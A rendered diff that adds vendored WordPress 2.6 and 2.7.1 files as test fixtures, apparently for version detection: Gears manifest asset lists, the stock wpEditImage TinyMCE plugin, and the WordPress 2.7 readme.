{ "url" : "../wp-includes/js/tinymce/themes/advanced/editor_template.js?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/editor_plugin.js?ver=311" },
|
||||
|
||||
{ "url" : "../wp-includes/js/tinymce/themes/advanced/source_editor.htm?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/themes/advanced/anchor.htm?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/themes/advanced/image.htm?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/themes/advanced/link.htm?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/themes/advanced/color_picker.htm?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/themes/advanced/charmap.htm?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/media/media.htm?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/paste/pasteword.htm?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/paste/blank.htm?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/paste/pastetext.htm?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/fullscreen/fullscreen.htm?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/template.htm?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/wpeditimage/editimage.html?ver=311d" },
|
||||
{ "url" : "../wp-includes/js/tinymce/wp-mce-help.php?ver=311" },
|
||||
|
||||
{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/ui.css?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/content.css?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/dialog.css?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/window.css?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/spellchecker/css/content.css?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/css/content.css?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/media/css/content.css?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/media/css/media.css?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/paste/css/pasteword.css?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/paste/css/blank.css?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/wpeditimage/css/editimage.css?ver=311d" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/wpeditimage/css/editimage-rtl.css?ver=311" },
|
||||
{ "url" : "../wp-includes/js/tinymce/wordpress.css?ver=311" },
|
||||
|
||||
{ "url" : "../wp-includes/js/tinymce/themes/advanced/img/icons.gif" },
|
||||
{ "url" : "../wp-includes/js/tinymce/themes/advanced/img/colorpicker.jpg" },
|
||||
{ "url" : "../wp-includes/js/tinymce/themes/advanced/img/fm.gif" },
|
||||
{ "url" : "../wp-includes/js/tinymce/themes/advanced/img/gotmoxie.png" },
|
||||
{ "url" : "../wp-includes/js/tinymce/themes/advanced/img/sflogo.png" },
|
||||
{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/butt2.png" },
|
||||
{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/fade-butt.png" },
|
||||
{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/tabs.gif" },
|
||||
{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/down_arrow.gif" },
|
||||
{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/default/img/progress.gif" },
|
||||
{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/default/img/menu_check.gif" },
|
||||
{ "url" : "../wp-includes/js/tinymce/themes/advanced/skins/default/img/menu_arrow.gif" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/drag.gif" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/corners.gif" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/buttons.gif" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/horizontal.gif" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/alert.gif" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/button.gif" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/confirm.gif" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/vertical.gif" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/media/img/flash.gif" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/media/img/flv_player.swf" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/media/img/quicktime.gif" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/media/img/realmedia.gif" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/media/img/shockwave.gif" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/media/img/windowsmedia.gif" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/media/img/trans.gif" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/more.gif" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/more_bug.gif" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/page.gif" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/page_bug.gif" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/toolbars.gif" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/wpeditimage/img/image.png" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/wpeditimage/img/delete.png" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/help.gif" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/image.gif" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/media.gif" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/video.gif" },
|
||||
{ "url" : "../wp-includes/js/tinymce/plugins/wordpress/img/audio.gif" }
|
||||
]}
|
||||
217
spec/fixtures/wp_versions/2.6/wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.js
vendored
Executable file
217
spec/fixtures/wp_versions/2.6/wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.js
vendored
Executable file
@@ -0,0 +1,217 @@
|
||||
|
||||
(function() {
|
||||
tinymce.create('tinymce.plugins.wpEditImage', {
|
||||
|
||||
init : function(ed, url) {
|
||||
var t = this;
|
||||
|
||||
t.url = url;
|
||||
t._createButtons();
|
||||
|
||||
// Register the command so that it can be invoked by using tinyMCE.activeEditor.execCommand('...');
|
||||
ed.addCommand('WP_EditImage', function() {
|
||||
var el = ed.selection.getNode();
|
||||
|
||||
if ( ed.dom.getAttrib(el, 'class').indexOf('mceItem') != -1 || el.nodeName != 'IMG' )
|
||||
return;
|
||||
|
||||
tb_show('', url + '/editimage.html?ver=311c&TB_iframe=true');
|
||||
tinymce.DOM.setStyle( ['TB_overlay','TB_window','TB_load'], 'z-index', '999999' );
|
||||
});
|
||||
|
||||
ed.onInit.add(function(ed) {
|
||||
tinymce.dom.Event.add(ed.getWin(), 'scroll', function(e) {
|
||||
ed.plugins.wpeditimage.hideButtons();
|
||||
});
|
||||
});
|
||||
|
||||
ed.onBeforeExecCommand.add(function(ed, cmd, ui, val) {
|
||||
ed.plugins.wpeditimage.hideButtons();
|
||||
});
|
||||
|
||||
ed.onSaveContent.add(function(ed, o) {
|
||||
ed.plugins.wpeditimage.hideButtons();
|
||||
});
|
||||
|
||||
ed.onMouseUp.add(function(ed, e) {
|
||||
if ( tinymce.isOpera ) {
|
||||
if ( e.target.nodeName == 'IMG' )
|
||||
ed.plugins.wpeditimage.showButtons(e.target);
|
||||
} else if ( ! tinymce.isWebKit ) {
|
||||
var n = ed.selection.getNode(), DL;
|
||||
|
||||
if ( n.nodeName == 'IMG' && (DL = ed.dom.getParent(n, 'DL')) ) {
|
||||
window.setTimeout(function(){
|
||||
var ed = tinyMCE.activeEditor, n = ed.selection.getNode(), DL = ed.dom.getParent(n, 'DL');
|
||||
|
||||
if ( n.width != (parseInt(ed.dom.getStyle(DL, 'width')) - 10) ) {
|
||||
ed.dom.setStyle(DL, 'width', parseInt(n.width)+10);
|
||||
ed.execCommand('mceRepaint');
|
||||
}
|
||||
}, 100);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
ed.onMouseDown.add(function(ed, e) {
|
||||
if ( tinymce.isOpera || e.target.nodeName != 'IMG' ) {
|
||||
t.hideButtons();
|
||||
return;
|
||||
}
|
||||
ed.plugins.wpeditimage.showButtons(e.target);
|
||||
});
|
||||
|
||||
ed.onKeyPress.add(function(ed, e) {
|
||||
var DL, DIV;
|
||||
|
||||
if ( e.keyCode == 13 && (DL = ed.dom.getParent(ed.selection.getNode(), 'DL')) ) {
|
||||
var P = ed.dom.create('p', {}, ' ');
|
||||
if ( (DIV = DL.parentNode) && DIV.nodeName == 'DIV' )
|
||||
ed.dom.insertAfter( P, DIV );
|
||||
else ed.dom.insertAfter( P, DL );
|
||||
|
||||
tinymce.dom.Event.cancel(e);
|
||||
ed.selection.select(P);
|
||||
return false;
|
||||
}
|
||||
});
|
||||
|
||||
ed.onBeforeSetContent.add(function(ed, o) {
|
||||
o.content = t._do_shcode(o.content);
|
||||
});
|
||||
|
||||
ed.onPostProcess.add(function(ed, o) {
|
||||
if (o.get)
|
||||
o.content = t._get_shcode(o.content);
|
||||
});
|
||||
},
|
||||
|
||||
_do_shcode : function(co) {
|
||||
return co.replace(/\[(?:wp_)?caption([^\]]+)\]([\s\S]+?)\[\/(?:wp_)?caption\][\s\u00a0]*/g, function(a,b,c){
|
||||
b = b.replace(/\\'|\\'|\\'/g, ''').replace(/\\"|\\"/g, '"');
|
||||
c = c.replace(/\\'|\\'/g, ''').replace(/\\"/g, '"');
|
||||
var id = b.match(/id=['"]([^'"]+)/i), cls = b.match(/align=['"]([^'"]+)/i);
|
||||
var w = b.match(/width=['"]([0-9]+)/), cap = b.match(/caption=['"]([^'"]+)/i);
|
||||
|
||||
id = ( id && id[1] ) ? id[1] : '';
|
||||
cls = ( cls && cls[1] ) ? cls[1] : 'alignnone';
|
||||
w = ( w && w[1] ) ? w[1] : '';
|
||||
cap = ( cap && cap[1] ) ? cap[1] : '';
|
||||
if ( ! w || ! cap ) return c;
|
||||
|
||||
var div_cls = (cls == 'aligncenter') ? 'mceTemp mceIEcenter' : 'mceTemp';
|
||||
|
||||
return '<div class="'+div_cls+'"><dl id="'+id+'" class="wp-caption '+cls+'" style="width: '+(10+parseInt(w))+
|
||||
'px"><dt class="wp-caption-dt">'+c+'</dt><dd class="wp-caption-dd">'+cap+'</dd></dl></div>';
|
||||
});
|
||||
},
|
||||
|
||||
_get_shcode : function(co) {
|
||||
return co.replace(/<div class="mceTemp[^"]*">\s*<dl([^>]+)>\s*<dt[^>]+>([\s\S]+?)<\/dt>\s*<dd[^>]+>(.+?)<\/dd>\s*<\/dl>\s*<\/div>\s*/gi, function(a,b,c,cap){
|
||||
var id = b.match(/id=['"]([^'"]+)/i), cls = b.match(/class=['"]([^'"]+)/i);
|
||||
var w = c.match(/width=['"]([0-9]+)/);
|
||||
|
||||
id = ( id && id[1] ) ? id[1] : '';
|
||||
cls = ( cls && cls[1] ) ? cls[1] : 'alignnone';
|
||||
w = ( w && w[1] ) ? w[1] : '';
|
||||
|
||||
if ( ! w || ! cap ) return c;
|
||||
cls = cls.match(/align[^ '"]+/) || 'alignnone';
|
||||
cap = cap.replace(/<\S[^<>]*>/gi, '').replace(/'/g, ''').replace(/"/g, '"');
|
||||
|
||||
return '[caption id="'+id+'" align="'+cls+'" width="'+w+'" caption="'+cap+'"]'+c+'[/caption]';
|
||||
});
|
||||
},
|
||||
|
||||
showButtons : function(n) {
|
||||
var t = this, ed = tinyMCE.activeEditor, p1, p2, vp, DOM = tinymce.DOM, X, Y;
|
||||
|
||||
if (ed.dom.getAttrib(n, 'class').indexOf('mceItem') != -1)
|
||||
return;
|
||||
|
||||
vp = ed.dom.getViewPort(ed.getWin());
|
||||
p1 = DOM.getPos(ed.getContentAreaContainer());
|
||||
p2 = ed.dom.getPos(n);
|
||||
|
||||
X = Math.max(p2.x - vp.x, 0) + p1.x;
|
||||
Y = Math.max(p2.y - vp.y, 0) + p1.y;
|
||||
|
||||
DOM.setStyles('wp_editbtns', {
|
||||
'top' : Y+5+'px',
|
||||
'left' : X+5+'px',
|
||||
'display' : 'block'
|
||||
});
|
||||
|
||||
t.btnsTout = window.setTimeout( function(){ed.plugins.wpeditimage.hideButtons();}, 5000 );
|
||||
},
|
||||
|
||||
hideButtons : function() {
|
||||
if ( tinymce.DOM.isHidden('wp_editbtns') ) return;
|
||||
|
||||
tinymce.DOM.hide('wp_editbtns');
|
||||
window.clearTimeout(this.btnsTout);
|
||||
},
|
||||
|
||||
_createButtons : function() {
|
||||
var t = this, ed = tinyMCE.activeEditor, DOM = tinymce.DOM;
|
||||
|
||||
DOM.remove('wp_editbtns');
|
||||
|
||||
var wp_editbtns = DOM.add(document.body, 'div', {
|
||||
id : 'wp_editbtns',
|
||||
style : 'display:none;'
|
||||
});
|
||||
|
||||
var wp_editimgbtn = DOM.add('wp_editbtns', 'img', {
|
||||
src : t.url+'/img/image.png',
|
||||
id : 'wp_editimgbtn',
|
||||
width : '24',
|
||||
height : '24',
|
||||
title : ed.getLang('wpeditimage.edit_img')
|
||||
});
|
||||
|
||||
wp_editimgbtn.onmousedown = function(e) {
|
||||
var ed = tinyMCE.activeEditor;
|
||||
ed.windowManager.bookmark = ed.selection.getBookmark('simple');
|
||||
ed.execCommand("WP_EditImage");
|
||||
this.parentNode.style.display = 'none';
|
||||
};
|
||||
|
||||
var wp_delimgbtn = DOM.add('wp_editbtns', 'img', {
|
||||
src : t.url+'/img/delete.png',
|
||||
id : 'wp_delimgbtn',
|
||||
width : '24',
|
||||
height : '24',
|
||||
title : ed.getLang('wpeditimage.del_img')
|
||||
});
|
||||
|
||||
wp_delimgbtn.onmousedown = function(e) {
|
||||
var ed = tinyMCE.activeEditor, el = ed.selection.getNode(), p;
|
||||
|
||||
if ( el.nodeName == 'IMG' && ed.dom.getAttrib(el, 'class').indexOf('mceItem') == -1 ) {
|
||||
if ( (p = ed.dom.getParent(el, 'div')) && ed.dom.hasClass(p, 'mceTemp') )
|
||||
ed.dom.remove(p);
|
||||
else if ( (p = ed.dom.getParent(el, 'A')) && p.childNodes.length == 1 )
|
||||
ed.dom.remove(p);
|
||||
else ed.dom.remove(el);
|
||||
|
||||
this.parentNode.style.display = 'none';
|
||||
ed.execCommand('mceRepaint');
|
||||
return false;
|
||||
}
|
||||
};
|
||||
},
|
||||
|
||||
getInfo : function() {
|
||||
return {
|
||||
longname : 'Edit Image',
|
||||
author : 'WordPress',
|
||||
authorurl : 'http://wordpress.org',
|
||||
infourl : '',
|
||||
version : "1.0"
|
||||
};
|
||||
}
|
||||
});
|
||||
|
||||
tinymce.PluginManager.add('wpeditimage', tinymce.plugins.wpEditImage);
|
||||
})();
|
||||
91
spec/fixtures/wp_versions/2.7.1/readme.html
vendored
Executable file
91
spec/fixtures/wp_versions/2.7.1/readme.html
vendored
Executable file
@@ -0,0 +1,91 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
|
||||
<title>WordPress › ReadMe</title>
|
||||
<link rel="stylesheet" href="wp-admin/css/install.css" type="text/css" />
|
||||
</head>
|
||||
<body>
|
||||
<h1 id="logo" style="text-align: center">
|
||||
<img alt="WordPress" src="wp-admin/images/wordpress-logo.png" />
|
||||
<br /> Version 2.7
|
||||
</h1>
|
||||
<p style="text-align: center">Semantic Personal Publishing Platform</p>
|
||||
|
||||
<h1>First Things First</h1>
|
||||
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
|
||||
<p style="text-align: right;">— Matt Mullenweg</p>
|
||||
|
||||
<h1>Installation: Famous 5-minute install</h1>
|
||||
<ol>
|
||||
<li>Unzip the package in an empty directory.</li>
|
||||
<li>Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
|
||||
<li>Save the file as <code>wp-config.php</code></li>
|
||||
<li>Upload everything.</li>
|
||||
<li>Open <span class="file"><a href="wp-admin/install.php">/wp-admin/install.php</a></span> in your browser. This should setup the tables needed for your blog. If there is an error, double check your <span class="file">wp-config.php</span> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/">support forums</a> with as much data as you can gather.</li>
|
||||
<li><strong>Note the password given to you.</strong></li>
|
||||
<li> The install script should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username <code>admin</code> and the password generated during the installation. You can then click on 'Profile' to change the password.</li>
|
||||
</ol>
|
||||
|
||||
<h1>Upgrading</h1>
|
||||
<p>Before you upgrade anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</p>
|
||||
<h2>Upgrading from any previous WordPress to 2.7:</h2>
|
||||
<ol>
|
||||
<li>Delete your old WP files, saving ones you've modified.</li>
|
||||
<li>Upload the new files.</li>
|
||||
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
|
||||
<li>You wanted more, perhaps? That's it!</li>
|
||||
</ol>
|
||||
<h2>Template Changes</h2>
|
||||
<p>If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, <a href="http://codex.wordpress.org/Upgrade_1.2_to_1.5">we've created a special guide for you</a>. </p>
|
||||
|
||||
<h1>Online Resources</h1>
|
||||
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
|
||||
<dl>
|
||||
<dt><a href="http://codex.wordpress.org/">The WordPress Codex </a></dt>
|
||||
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
|
||||
<dt><a href="http://wordpress.org/development/">The Development Blog</a></dt>
|
||||
<dd>This is where you'll find the latest updates and news related to WordPress. Bookmark and check often.</dd>
|
||||
<dt><a href="http://planet.wordpress.org/">WordPress Planet </a></dt>
|
||||
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
|
||||
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
|
||||
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
|
||||
<dt><a href="http://codex.wordpress.org/IRC">WordPress IRC Channel</a></dt>
|
||||
<dd>Finally, there is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
|
||||
</dl>
|
||||
|
||||
<h1>System Recommendations</h1>
|
||||
<ul>
|
||||
<li>PHP version <strong>4.3</strong> or higher.</li>
|
||||
<li>MySQL version <strong>4.0</strong> or higher.</li>
|
||||
<li>... and a link to <a href="http://wordpress.org/">http://wordpress.org</a> on your site.</li>
|
||||
</ul>
|
||||
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/cafélog</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/">donating</a>.</p>
|
||||
|
||||
<h1>Upgrading from another system</h1>
|
||||
<p>WordPress can <a href="http://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above.</p>
|
||||
|
||||
<h1>XML-RPC and Atom Interface</h1>
|
||||
<p>You can now post to your WordPress blog with tools like <a href="http://windowslivewriter.spaces.live.com/">Windows Live Writer</a>, <a href="http://ecto.kung-foo.tv/">Ecto</a>, <a href="http://bloggar.com/">Bloggar</a>, <a href="http://radio.userland.com">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the Blogging APIs! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support">XML-RPC support on the Codex</a>.</p>
|
||||
|
||||
<h1>Post via Email</h1>
|
||||
<p>You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret POP3 account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> URL.</p>
|
||||
<p>Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will <em>delete</em> emails that are successfully posted.</p>
|
||||
|
||||
<h1>User Roles</h1>
|
||||
<p>We've eliminated user levels in order to make way for the much more flexible roles system introduced in 2.0. You can <a href="http://codex.wordpress.org/Roles_and_Capabilities">read more about Roles and Capabilities on the Codex</a>.</p>
|
||||
|
||||
<h1> Final notes</h1>
|
||||
<ul>
|
||||
<li>If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a>.</li>
|
||||
<li>WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the <a href="http://codex.wordpress.org/Plugin_API">plugin documentation in the Codex</a>. In most all cases you shouldn't modify any of the core code.</li>
|
||||
</ul>
|
||||
|
||||
<h1>Share the Love</h1>
|
||||
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
|
||||
|
||||
<h1>Copyright</h1>
|
||||
<p>WordPress is released under the <abbr title="GNU Public License">GPL</abbr> (see <a href="license.txt">license.txt</a>).</p>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
172
spec/fixtures/wp_versions/2.7.1/wp-admin/gears-manifest.php
vendored
Normal file
172
spec/fixtures/wp_versions/2.7.1/wp-admin/gears-manifest.php
vendored
Normal file
@@ -0,0 +1,172 @@
|
||||
{
|
||||
"betaManifestVersion" : 1,
|
||||
"version" : "4b51a58d4927f3b7d9212528af2c121c_20081201",
|
||||
"entries" : [
|
||||
{ "url" : "js/common.js?ver=20081210" },
|
||||
{ "url" : "../wp-includes/js/tw-sack.js?ver=1.6.1" },
|
||||
{ "url" : "../wp-includes/js/quicktags.js?ver=20081210" },
|
||||
{ "url" : "../wp-includes/js/colorpicker.js?ver=3517" },
|
||||
{ "url" : "js/editor.js?ver=20081129" },
|
||||
{ "url" : "../wp-includes/js/prototype.js?ver=1.6" },
|
||||
{ "url" : "../wp-includes/js/wp-ajax-response.js?ver=20081210" },
|
||||
{ "url" : "../wp-includes/js/autosave.js?ver=20081210" },
|
||||
{ "url" : "../wp-includes/js/wp-lists.js?ver=20081210" },
|
||||
{ "url" : "../wp-includes/js/scriptaculous/wp-scriptaculous.js?ver=1.8.0" },
|
||||
{ "url" : "../wp-includes/js/scriptaculous/builder.js?ver=1.8.0" },
|
||||
{ "url" : "../wp-includes/js/scriptaculous/dragdrop.js?ver=1.8.0" },
|
||||
{ "url" : "../wp-includes/js/scriptaculous/effects.js?ver=1.8.0" },
|
||||
{ "url" : "../wp-includes/js/scriptaculous/slider.js?ver=1.8.0" },
|
||||
{ "url" : "../wp-includes/js/scriptaculous/sound.js?ver=1.8.0" },
|
||||
{ "url" : "../wp-includes/js/scriptaculous/controls.js?ver=1.8.0" },
|
||||
{ "url" : "../wp-includes/js/crop/cropper.js?ver=20070118" },
|
||||
{ "url" : "../wp-includes/js/jquery/jquery.js?ver=1.2.6" },
|
||||
{ "url" : "../wp-includes/js/jquery/jquery.form.js?ver=2.02" },
|
||||
{ "url" : "../wp-includes/js/jquery/jquery.color.js?ver=2.0-4561" },
|
||||
{ "url" : "../wp-includes/js/jquery/interface.js?ver=1.2" },
|
||||
{ "url" : "../wp-includes/js/jquery/suggest.js?ver=1.1b" },
|
||||
{ "url" : "../wp-includes/js/jquery/jquery.schedule.js?ver=20" },
|
||||
{ "url" : "../wp-includes/js/jquery/jquery.hotkeys.js?ver=0.0.2" },
|
||||
{ "url" : "../wp-includes/js/jquery/jquery.table-hotkeys.js?ver=20081128" },
|
||||
{ "url" : "../wp-includes/js/thickbox/thickbox.js?ver=3.1-20090123" },
|
||||
{ "url" : "../wp-includes/js/swfupload/swfupload.js?ver=2.2.0-20081031" },
|
||||
{ "url" : "../wp-includes/js/swfupload/plugins/swfupload.graceful_degradation.js?ver=2.2.0-20081031" },
|
||||
{ "url" : "../wp-includes/js/swfupload/plugins/swfupload.swfobject.js?ver=2.2.0-20081031" },
|
||||
{ "url" : "../wp-includes/js/swfupload/plugins/swfupload.queue.js?ver=2.2.0-20081031" },
|
||||
{ "url" : "../wp-includes/js/swfupload/handlers.js?ver=2.2.0-20081201" },
|
||||
{ "url" : "../wp-includes/js/jquery/ui.core.js?ver=1.5.2" },
|
||||
{ "url" : "../wp-includes/js/jquery/ui.tabs.js?ver=1.5.2" },
|
||||
{ "url" : "../wp-includes/js/jquery/ui.sortable.js?ver=1.5.2c" },
|
||||
{ "url" : "../wp-includes/js/jquery/ui.draggable.js?ver=1.5.2" },
|
||||
{ "url" : "../wp-includes/js/jquery/ui.resizable.js?ver=1.5.2" },
|
||||
{ "url" : "../wp-includes/js/jquery/ui.dialog.js?ver=1.5.2" },
|
||||
{ "url" : "../wp-includes/js/comment-reply.js?ver=20081210" },
|
||||
{ "url" : "js/cat.js?ver=20081210" },
|
||||
{ "url" : "js/categories.js?ver=20081210" },
|
||||
{ "url" : "js/tags.js?ver=20081210" },
|
||||
{ "url" : "js/custom-fields.js?ver=20081210" },
|
||||
{ "url" : "js/password-strength-meter.js?ver=20081210" },
|
||||
{ "url" : "js/edit-comments.js?ver=20081210" },
|
||||
{ "url" : "js/users.js?ver=20081210" },
|
||||
{ "url" : "js/xfn.js?ver=3517" },
|
||||
{ "url" : "js/postbox.js?ver=20081210" },
|
||||
{ "url" : "js/slug.js?ver=20081210" },
|
||||
{ "url" : "js/post.js?ver=20081210" },
|
||||
{ "url" : "js/page.js?ver=20081210" },
|
||||
{ "url" : "js/link.js?ver=20081210" },
|
||||
{ "url" : "js/comment.js?ver=20081210" },
|
||||
{ "url" : "js/gallery.js?ver=20081210" },
|
||||
{ "url" : "js/media-upload.js?ver=20081210" },
|
||||
{ "url" : "js/widgets.js?ver=20081210" },
|
||||
{ "url" : "js/word-count.js?ver=20081210" },
|
||||
{ "url" : "js/wp-gears.js?ver=20081210" },
|
||||
{ "url" : "js/theme-preview.js?ver=20081210" },
|
||||
{ "url" : "js/inline-edit-post.js?ver=20081210" },
|
||||
{ "url" : "js/inline-edit-tax.js?ver=20081210" },
|
||||
{ "url" : "js/plugin-install.js?ver=20081210" },
|
||||
{ "url" : "js/farbtastic.js?ver=1.2" },
|
||||
{ "url" : "js/dashboard.js?ver=20081210" },
|
||||
{ "url" : "../wp-includes/js/hoverIntent.js?ver=20081210" },
|
||||
{ "url" : "wp-admin.css?ver=20081210" },
|
||||
{ "url" : "rtl.css?ver=20081210" },
|
||||
{ "url" : "css/ie.css?ver=20081210" },
|
||||
{ "url" : "css/ie-rtl.css?ver=20081210" },
|
||||
{ "url" : "css/colors-classic.css?ver=20081210" },
|
||||
{ "url" : "css/colors-classic-rtl.css?ver=20081210" },
|
||||
{ "url" : "css/colors-fresh.css?ver=20081210" },
|
||||
{ "url" : "css/colors-fresh-rtl.css?ver=20081210" },
|
||||
{ "url" : "css/colors-classic.css?ver=20081210" },
|
||||
{ "url" : "css/colors-classic-rtl.css?ver=20081210" },
|
||||
{ "url" : "css/global.css?ver=20081210" },
|
||||
{ "url" : "css/global-rtl.css?ver=20081210" },
|
||||
{ "url" : "css/media.css?ver=20081210" },
|
||||
{ "url" : "css/media-rtl.css?ver=20081210" },
|
||||
{ "url" : "css/widgets.css?ver=20081210" },
|
||||
{ "url" : "css/widgets-rtl.css?ver=20081210" },
|
||||
{ "url" : "css/dashboard.css?ver=20081210" },
|
||||
{ "url" : "css/dashboard-rtl.css?ver=20081210" },
|
||||
{ "url" : "css/install.css?ver=20081210" },
|
||||
{ "url" : "css/install-rtl.css?ver=20081210" },
|
||||
{ "url" : "css/theme-editor.css?ver=20081210" },
|
||||
{ "url" : "css/theme-editor-rtl.css?ver=20081210" },
|
||||
{ "url" : "css/press-this.css?ver=20081210" },
|
||||
{ "url" : "css/press-this-rtl.css?ver=20081210" },
|
||||
{ "url" : "../wp-includes/js/thickbox/thickbox.css?ver=20081210" },
|
||||
{ "url" : "css/login.css?ver=20081210" },
|
||||
{ "url" : "css/login-rtl.css?ver=20081210" },
|
||||
{ "url" : "css/plugin-install.css?ver=20081210" },
|
||||
{ "url" : "css/plugin-install-rtl.css?ver=20081210" },
|
||||
{ "url" : "css/farbtastic.css?ver=1.2" },
|
||||
{ "url" : "css/farbtastic-rtl.css?ver=1.2" },
|
||||
|
||||
